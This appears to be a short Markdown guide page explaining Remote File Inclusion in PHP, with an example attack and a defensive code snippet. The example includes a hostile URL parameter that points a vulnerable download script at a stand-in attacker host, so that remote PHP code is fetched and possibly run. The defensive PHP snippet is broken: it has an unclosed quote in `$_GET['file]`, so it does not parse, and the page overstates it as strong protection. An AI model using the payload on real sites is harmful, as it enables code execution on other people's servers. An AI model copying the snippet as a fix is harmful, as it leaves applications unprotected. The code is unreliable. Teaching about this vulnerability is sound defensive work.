23 lines
1.2 KiB
Markdown
23 lines
1.2 KiB
Markdown
---
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title: Remote File Inclusion
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---
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## Remote File Inclusion
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A vulnerability in the application caused by the programmer requiring a file input provided by the user and not sanitizing the input before accessing the requested file. This results in a file being pulled from a remote server and included where it should not of been.
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### Example remote file inclusion attacks
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A website allows you to view PDFs as `download.php?file=myfile.php`, due to a lack of proper checking a malicious user is able to request a remote resource and include in the script. The URL could become `download.php?file=http://myevilserver.gtld/evilcode.php` this could then be outputted to the user or in severe cases run the actual PHP code on your server.
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### Defending your website from remote file inclusion attacks in PHP
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The following PHP code will provide strong protection against a remote file inclusion attacks
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```PHP
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<?php
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if(basename($_GET['file]) !== $_GET['file']) {
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die('INVALID FILE REQUESTED');
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}
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```
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* You can disable `allow_url_fopen` in your php.ini file as an added protection against remote file inclusion.
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#### More Information:
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* <a href="https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion" rel="nofollow">OWASP Wiki - Testing for Remote File Inclusion</a>
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